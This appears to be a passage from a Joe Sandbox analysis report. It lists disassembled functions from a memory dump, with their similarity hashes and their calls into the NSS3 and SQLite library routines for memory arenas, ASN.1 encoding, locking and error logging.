Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: cd4af68433e1db710887a89bac12ad197b68feccac95314171286c9f267d98d4
Instruction ID: 3c122eee27174f961fd8e79a7e5fbb3de54409ed0d6c467e19b061c2ab32b713
Opcode Fuzzy Hash: cd4af68433e1db710887a89bac12ad197b68feccac95314171286c9f267d98d4
Instruction Fuzzy Hash: 5E212E72F0028457EF3045665C45B6B72BEDBC275CF394035D81997B41EA62D815C2B2

Function 6CE888D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE90725,00000000,00000058), ref: 6CE88906
EnterCriticalSection.KERNEL32(?), ref: 6CE8891A
PL_ArenaAllocate.NSS3(?,?), ref: 6CE8894A
calloc.MOZGLUE(00000001,6CE9072D,00000000,00000000,00000000,?,6CE90725,00000000,00000058), ref: 6CE88959
memset.VCRUNTIME140(?,00000000,?), ref: 6CE88993
PR_Unlock.NSS3(?), ref: 6CE889AF

Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607AD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607CD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607D6
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDF204A), ref: 6CE607E4
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,6CDF204A), ref: 6CE60864
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE60880
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,6CDF204A), ref: 6CE608CB
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608D7
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608FB

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: edd143f1d82ed3a24547ac5e2dff5e57d4f85b2f41e0c0a5dfb943e0969583a0
Instruction ID: eee58dac0e4da3beddaaf87e69722cae05b74592df26c407a80f017991385caa
Opcode Fuzzy Hash: edd143f1d82ed3a24547ac5e2dff5e57d4f85b2f41e0c0a5dfb943e0969583a0
Instruction Fuzzy Hash: 8C31E472E02215ABD7109F28CC41A5AB7B8AF4671CF25862AEC1CDBB41E731E945C7D2

Function 6CE7AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE7AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CE7AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE7AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE7AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CF99500), ref: 6CE7AF23

Part of subcall function 6CECF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CECF0C8
Part of subcall function 6CECF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CECF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE7AF37

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 6a4a6ec991282c687cd213c4660a180cec9afbfeb6d0aa0d5b79e14a6240b206
Instruction ID: bbd77928167b1ca789f9b6f431362869dcb0696e587f0a65db0476a29d396089
Opcode Fuzzy Hash: 6a4a6ec991282c687cd213c4660a180cec9afbfeb6d0aa0d5b79e14a6240b206
Instruction Fuzzy Hash: 772128B29492006BEB208F18DC02B9A7BB4AF8572CF244318FC589B780E731D545C7B3

Function 6CEFEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEFEE85
realloc.MOZGLUE(1DB07238,?), ref: 6CEFEEAE
PORT_Alloc_Util.NSS3(?), ref: 6CEFEEC5

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

htonl.WSOCK32(?), ref: 6CEFEEE3
htonl.WSOCK32(00000000,?), ref: 6CEFEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CEFEF01

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 049e6be8fa85b950df868a7e97004eff4c5d8458e69bcfe4e7a09642ef9f2394
Instruction ID: 53f161039921348ec8e5b1ed2edc111e13458367a76c0cecda9ea81ce01e01d2
Opcode Fuzzy Hash: 049e6be8fa85b950df868a7e97004eff4c5d8458e69bcfe4e7a09642ef9f2394
Instruction Fuzzy Hash: 4221A371A00614AFDB109F28DC8479A77B4EF45358F258169EC299B741E730FD15CBE2

Function 6CE77F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE77F68

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CE77F7B

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE77FA7

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF9919C,?), ref: 6CE77FBB

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE77FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CF9915C,00000014), ref: 6CE77FFE

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: c0be79ad29ba97b6d7f605a416f1c3801dddcb34394f664fac27587b7fc204fe
Instruction ID: d30828fbc9c449822e28f7597bfe130134f5ab079e2397865a9cde10578fe6b8
Opcode Fuzzy Hash: c0be79ad29ba97b6d7f605a416f1c3801dddcb34394f664fac27587b7fc204fe
Instruction Fuzzy Hash: 72113AB1E002045BF724AA259E52BBB76FCDF4565CF21062DFC69C2B41F721E948C2B2

Function 6CE7BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CEFDC29,?), ref: 6CE7BE64

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CEFDC29,?), ref: 6CE7BE78

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6CEFDC29,?), ref: 6CE7BE96

Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6CEFDC29,?), ref: 6CE7BEBB

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6CEFDC29,?), ref: 6CE7BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6CEFDC29,?), ref: 6CE7BEF3

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: c9b93b9217ecfebdfbdc12dab897823630c2fcef3881d2de0ac2a4d4939acf8f
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: C111A571E002095BEB109BA59D45FAE3BB8EB4125CF254028ED09EB780EB31E909C7B1

Function 6CF03C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CF05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF05B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF03D3F

Part of subcall function 6CE7BA90: PORT_NewArena_Util.NSS3(00000800,6CF03CAF,?), ref: 6CE7BABF
Part of subcall function 6CE7BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CF03CAF,?), ref: 6CE7BAD5
Part of subcall function 6CE7BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CF03CAF,?), ref: 6CE7BB08
Part of subcall function 6CE7BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CF03CAF,?), ref: 6CE7BB1A
Part of subcall function 6CE7BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CF03CAF,?), ref: 6CE7BB3B

PR_EnterMonitor.NSS3(?), ref: 6CF03CCB

Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390AB
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390C9
Part of subcall function 6CF39090: EnterCriticalSection.KERNEL32 ref: 6CF390E5
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39116
Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF3913F

PR_EnterMonitor.NSS3(?), ref: 6CF03CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CF03CF8
PR_ExitMonitor.NSS3(?), ref: 6CF03D15
PR_ExitMonitor.NSS3(?), ref: 6CF03D2E

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: d02a7f8a420b2a8d15cf5c0a70f0489782060bdc8371b1102672d60d67b0779b
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 711104B5B116046FE7205A65EC51F9BB3F5AB11A08F504538E40AC7B20EA32F91DD692

Function 6CECFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CECFE08

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CECFE1D

Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CECFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CECFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CECFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CECFE6F

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 51efacd77599b77136d2e163b64ede560c7f4775ecd5af87dcdcebcd5f20efc1
Instruction ID: 79782b93c4ba2b8e4872a09687b65e10cdec3d8025c01f1dfc1704fbd1eb6afd
Opcode Fuzzy Hash: 51efacd77599b77136d2e163b64ede560c7f4775ecd5af87dcdcebcd5f20efc1
Instruction Fuzzy Hash: 5211E5B6B00205AFEB008B95DC40A5F73B8AF552ADF358038E92887B12E735E915C792

Function 6CF7FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6CF7FD9E

Part of subcall function 6CF39BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE61A48), ref: 6CF39BB3
Part of subcall function 6CF39BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE61A48), ref: 6CF39BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6CF7FDB9

Part of subcall function 6CE5A900: TlsGetValue.KERNEL32(00000000,?,6CFD14E4,?,6CDF4DD9), ref: 6CE5A90F
Part of subcall function 6CE5A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE5A94F

PR_Unlock.NSS3 ref: 6CF7FDD4
PR_Lock.NSS3 ref: 6CF7FDF2
PR_NotifyAllCondVar.NSS3 ref: 6CF7FE0D
PR_Unlock.NSS3 ref: 6CF7FE23

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 3112ec3757aa03c80c2c7fa7ab4f9df200ee756b8b33020f4ddfcda3b249df8b
Instruction ID: eb5a0024f8789f9d5414952806c65b802de8826be65ce90015b1b4e113cc27b4
Opcode Fuzzy Hash: 3112ec3757aa03c80c2c7fa7ab4f9df200ee756b8b33020f4ddfcda3b249df8b
Instruction Fuzzy Hash: 0001CEBAE10210ABCF544F25FD008427631BB032397144335E82A47BA1EB22ED28C7C2

Function 6CE5AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE5AFDA

Strings

%s at line %d of [%.10s], xrefs: 6CE5AFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE5AFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6CE5AF5C
misuse, xrefs: 6CE5AFCE

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 3338c37cf614e0f929372c8f73690fb52d122ddb2326bdac41363d7dc2fdc659
Instruction ID: d097b558a496631d9846987ee06a524648225cc757c292c9fa18f1be8b7aa4a0
Opcode Fuzzy Hash: 3338c37cf614e0f929372c8f73690fb52d122ddb2326bdac41363d7dc2fdc659
Instruction Fuzzy Hash: 2E91E071B412158FDB04CF69C850BBABBF1BF45318F6984A8E865AB751C732AD12CB70

Function 6CEBFC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CEBFC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEBFCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CEBFDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CEBFDDE

Part of subcall function 6CEC8800: TlsGetValue.KERNEL32(?,6CED085A,00000000,?,6CE78369,?), ref: 6CEC8821
Part of subcall function 6CEC8800: TlsGetValue.KERNEL32(?,?,6CED085A,00000000,?,6CE78369,?), ref: 6CEC883D
Part of subcall function 6CEC8800: EnterCriticalSection.KERNEL32(?,?,?,6CED085A,00000000,?,6CE78369,?), ref: 6CEC8856
Part of subcall function 6CEC8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CEC8887
Part of subcall function 6CEC8800: PR_Unlock.NSS3(?,?,?,?,6CED085A,00000000,?,6CE78369,?), ref: 6CEC8899

Strings

pkcs11:, xrefs: 6CEBFC4F

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: de736223dea9f7c6c44470ea3eb39818fed5e3ed66527f42ab0a2f5ff2d245b1
Instruction ID: 902a8aecb8f1d741e2f1e373b8a7b076bd23db599f2e43a3296677e156b75cd3
Opcode Fuzzy Hash: de736223dea9f7c6c44470ea3eb39818fed5e3ed66527f42ab0a2f5ff2d245b1
Instruction Fuzzy Hash: 7251C1BEB041119BEB008F649F80BBA7375AB4235CF350129DD147BB52EB39E905CB92

Function 6CDFBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CDFBE02

Part of subcall function 6CF29C40: memcmp.VCRUNTIME140(?,00000000,6CDFC52B), ref: 6CF29D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDFBE9F

Strings

database corruption, xrefs: 6CDFBE93
%s at line %d of [%.10s], xrefs: 6CDFBE98
